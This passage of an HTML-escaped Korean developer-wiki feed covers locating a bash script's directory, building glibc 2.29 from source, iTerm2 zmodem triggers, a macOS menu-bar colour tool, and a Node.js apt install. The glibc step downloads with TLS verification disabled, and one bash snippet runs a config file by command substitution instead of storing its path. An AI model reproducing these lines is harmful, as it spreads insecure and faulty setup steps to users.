없다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;curpath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;confpath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$curpath&lt;/span&gt;/confpath.conf&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;따라서 아래 스크립트 를 참고하여 쉘 스크립트가 위치해 있는 경로를 구해 confpath.conf를 찾을 수 있도록 한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;curpath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;dirname&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;realpath&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$curpath&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;한줄 코딩&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;dirname&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;realpath&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;))&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;confpath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$curpath&lt;/span&gt;/confpath.conf&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; </description><pubDate>Wed, 14 Feb 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/manual/bash</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/manual/bash</guid> <category>bash</category> <category>manual</category> </item> <item><title>glibc 업데이트</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#glibc-업데이트-전-주의사항&quot;&gt;glibc 업데이트 전 주의사항&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#업데이트-방법&quot;&gt;업데이트 방법&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h1 id=&quot;glibc-업데이트-전-주의사항&quot;&gt;glibc 업데이트 전 주의사항&lt;/h1&gt; &lt;p&gt;glibc는 GNU C 라이브러리로, 리눅스 시스템에서 사용되는 C 라이브러리이다. &lt;br /&gt; glibc는 리눅스 시스템의 핵심적인 라이브러리로, 시스템의 대부분의 프로그램들이 glibc를 사용한다. 따라서 glibc의 업데이트는 시스템의 안정성과 보안에 매우 중요하다. \&lt;/p&gt; &lt;p&gt;많은 바이너리들이 libc를 참조하기 때문에 libc를 업데이트하면 시스템 전체에 영향을 미친다. 따라서 libc를 업데이트할 때는 주의가 필요하다. &lt;br /&gt; 호환되지 않는 libc 업데이트는 시스템을 망가뜨릴 수 있으므로, libc 업데이트 전에는 백업 후 업데이트를 진행하도록 하자.&lt;/p&gt; &lt;p&gt;Visual Studio Code 버전 1.86.0 부터는 glibc 2.28 이상을 요구한다. Ubuntu 18.04에서는 glibc 2.27을 사용하므로 업데이트가 필요하다.&lt;/p&gt; &lt;h1 id=&quot;업데이트-방법&quot;&gt;업데이트 방법&lt;/h1&gt; &lt;p&gt;&lt;a href=&quot;https://ftp.gnu.org/gnu/glibc/&quot;&gt;https://ftp.gnu.org/gnu/glibc/&lt;/a&gt; &lt;br /&gt; glibc 공식 홈페이지에서 원하는 버전의 glibc 링크를 복사한다. &lt;br /&gt; 아래 설명하는 예시는 glibc 2.29 버전을 설치하는 방법이다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt; 으로 glibc를 다운로드 받은 뒤 압축을 풀고, 압축이 풀린 디렉토리로 이동한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;wget &lt;span class=&quot;nt&quot;&gt;--no-check-certificate&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; glibc.tgz https://ftp.gnu.org/gnu/glibc/glibc-2.29.tar.gz &lt;span class=&quot;nb&quot;&gt;tar&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-zxvf&lt;/span&gt; glibc.tgz &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; &amp;lt;directory&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;build&lt;/code&gt; 디렉토리를 생성하고, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;configure&lt;/code&gt; 명령어를 실행한다. &lt;br /&gt; 이 때 prefix 옵션을 사용하여 glibc를 설치할 디렉토리를 지정한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;build &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;build ../configure &lt;span class=&quot;nt&quot;&gt;--prefix&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/path/to/dir make make &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;설치된 glibc를 전역적으로 사용하기 위해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/ld.so.conf&lt;/code&gt; 파일에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;prefix&lt;/code&gt; 경로를 추가하고 &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ldconfig&lt;/code&gt; 명령어를 실행한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# /etc/ld.so.conf 파일 열기&lt;/span&gt; vim /etc/ld.so.conf &lt;span class=&quot;c&quot;&gt;# 라인 추가&lt;/span&gt; /path/to/dir &lt;span class=&quot;c&quot;&gt;# 저장 후 쉘로 빠져나와 ldconfig 실행&lt;/span&gt; ldconfig &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;-END-&lt;/p&gt; </description><pubDate>Tue, 06 Feb 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/linux/glibc-update</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/linux/glibc-update</guid> <category>linux</category> <category>glibc</category> <category>libc</category> <category>linux</category> </item> <item><title>iTerm2 에서 lrzsz 사용하기</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#개요&quot;&gt;개요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#방법&quot;&gt;방법&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#번외&quot;&gt;번외&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;개요&quot;&gt;개요&lt;/h2&gt; &lt;p&gt;iTerm에서 lrzsz를 설치하여 rz, sz 명령어로 파일을 전송/수신하는 방법을 알아보자.&lt;/p&gt; &lt;h2 id=&quot;방법&quot;&gt;방법&lt;/h2&gt; &lt;p&gt;먼저 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lrzsz&lt;/code&gt; 패키지를 설치해야 한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;brew &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;lrzsz &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 iterm2 용도의 zmodem script를 다운로드한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git clone https://github.com/laggardkernel/iterm2-zmodem.git &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;iterm2-zmodem/bin/ &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; iterm2-zmodem-&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; /usr/local/bin/ &lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-al&lt;/span&gt; /usr/local/bin/iterm2-zmodem-&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;다운받은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iterm2-zmodem-*&lt;/code&gt; 스크립트는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/local/bin/rz, sz&lt;/code&gt; 를 바라보기 때문에 &lt;br /&gt; 심볼릭 링크를 생성해준다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; /opt/homebrew/bin/rz /usr/local/bin/rz &lt;span class=&quot;nb&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; /opt/homebrew/bin/sz /usr/local/bin/sz &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 iTerm의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Preferences&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Profiles&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Advanced&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Triggers&lt;/code&gt; 메뉴로 이동한다.&lt;/p&gt; &lt;p&gt;아래 내용을 각 칼럼에 복사해 넣는다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;Regular expression: \*\*B0100 Action: Run Silent Coprocess Parameters: /usr/local/bin/iterm2-zmodem-send Instant: checked Regular expression: \*\*B00000000000000 Action: Run Silent Coprocess Parameters: /usr/local/bin/iterm2-zmodem-recv Instant: checked &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_iterm_lrzsz.md_img/img_2024-01-29-13-11-21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;h3 id=&quot;번외&quot;&gt;번외&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/local/bin/iterm2-zmodem-recv&lt;/code&gt; 에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rz&lt;/code&gt; 명령어의 옵션을 수정하였다. &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--overwrite&lt;/code&gt; 옵션을 주어, 기존 파일이 있을 경우 덮어쓰도록 하였다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&quot;${HOMEBREW_PREFIX:-/usr/local}/bin/rz&quot; -e -b --overwrite &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; </description><pubDate>Mon, 29 Jan 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/macos/iterm_lrzsz</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/macos/iterm_lrzsz</guid> <category>macos</category> <category>iterm</category> <category>lrzsz</category> <category>zmodem</category> <category>macos</category> </item> <item><title>macos의 메뉴바 색상을 변경해보자.</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#개요&quot;&gt;개요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#방법&quot;&gt;방법&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;개요&quot;&gt;개요&lt;/h2&gt; &lt;p&gt;MacOS 소노마 업데이트를 진행한 이후 메뉴바 색상이 하얀색으로 변경되었다. &lt;br /&gt; 개인적으로는 검은색의 메뉴바 색상이 더 좋았는데… &lt;br /&gt; 아마 macOS의 메뉴바 색상은 바탕 화면의 색상에 따라서 메뉴바 색상이 변경되는 것 같다.&lt;/p&gt; &lt;p&gt;그래서 배경화면과 상관없이 메뉴바를 검은색으로 변경하는 방법을 찾아보았다.&lt;/p&gt; &lt;h2 id=&quot;방법&quot;&gt;방법&lt;/h2&gt; &lt;p&gt;&lt;a href=&quot;https://post.naver.com/viewer/postView.nhn?volumeNo=30442427&amp;amp;memberNo=43967944&quot;&gt;맥OS 빅서 메뉴바 색상 변경하기&lt;/a&gt;&lt;/p&gt; &lt;p&gt;여기에 나온 방법대로 진행하면 된다.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://github.com/igorkulman/ChangeMenuBarColor&quot;&gt;https://github.com/igorkulman/ChangeMenuBarColor&lt;/a&gt;&lt;/p&gt; &lt;p&gt;해당 링크에 들어간 뒤 우측 중하단 즈음에 Releases 탭이 존재한다. &lt;br /&gt; 여기에서 최신 버전의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ChangeMenuBarColor.zip&lt;/code&gt; 파일을 다운로드 받는다.&lt;/p&gt; &lt;p&gt;압축을 풀면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ChangeMenuBarColor&lt;/code&gt; 앱이 존재하는데 이를 터미널로 실행시켜야 한다.&lt;/p&gt; &lt;p&gt;기본적으로 ChangeMenuBarColor 을 압축푼 곳이 다운로드 디렉토리라고 가정하고 진행한다.&lt;/p&gt; &lt;p&gt;터미널을 열고 아래 명령어를 통해 다운로드 디렉토리로 이동한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$HOME&lt;/span&gt;/Downloads &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;아래 명령어를 통해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ChangeMenuBarColor&lt;/code&gt; 앱을 실행시켜 메뉴바 색상을 검정색으로 변경할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;./ChangeMenuBarColor SolidColor &lt;span class=&quot;s2&quot;&gt;&quot;#000000&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;만약 검정색이 아닌 다른 색상으로 바꾸기를 원하는 경우 해당 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#000000&lt;/code&gt; 부분을 원하는 hex color 색상으로 변경하면 된다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_change_menubar_color.md_img/img_2024-01-15-14-08-49.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt; &lt;p&gt;검정색으로 잘 바뀐 것을 확인할 수 있다.&lt;/p&gt; </description><pubDate>Mon, 15 Jan 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/macos/change_menubar_color</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/macos/change_menubar_color</guid> <category>macos</category> <category>menubar</category> <category>macos</category> </item> <item><title>nodejs 설치</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#개요&quot;&gt;개요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#방법&quot;&gt;방법&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#구-방법&quot;&gt;구 방법&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h1 id=&quot;개요&quot;&gt;개요&lt;/h1&gt; &lt;p&gt;nodejs를 설치할때마다 까먹어서 계속 삽질을 하는것을 방지하고자 기록한다.&lt;/p&gt; &lt;h1 id=&quot;방법&quot;&gt;방법&lt;/h1&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_node-install.md_img/img_2023-12-07-16-50-23.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt; &lt;p&gt;기존 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup_&amp;lt;version&amp;gt;.x&lt;/code&gt; 로 설치하던 방법이 없어지고 apt, yum 등으로 설치할 수 있다.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://github.com/nodesource/distributions&quot;&gt;https://github.com/nodesource/distributions&lt;/a&gt; &lt;br /&gt; 자세한 내용은 위 문서를 참고하자.&lt;/p&gt; &lt;p&gt;키 가져오기&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get update &lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; ca-certificates curl gnupg &lt;span class=&quot;nb&quot;&gt;sudo mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; /etc/apt/keyrings curl &lt;span class=&quot;nt&quot;&gt;-fsSL&lt;/span&gt; https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | &lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--dearmor&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; /etc/apt/keyrings/nodesource.gpg &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;키 설정&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# NODE_MAJOR 변수는 원하는 메이저 버전으로 설정하면 된다.&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# NODE_MAJOR=16&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# NODE_MAJOR=18&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# NODE_MAJOR=20&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# NODE_MAJOR=21&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;NODE_MAJOR&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;20 &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;deb [signed-by=/etc/apt/keyrings/nodesource.gpg] https://deb.nodesource.com/node_&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$NODE_MAJOR&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.x nodistro main&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sudo tee&lt;/span&gt; /etc/apt/sources.list.d/nodesource.list &lt;span class=&quot;nb&quot;&gt;unset &lt;/span&gt;NODE_MAJOR &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;NODEJS 설치&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td 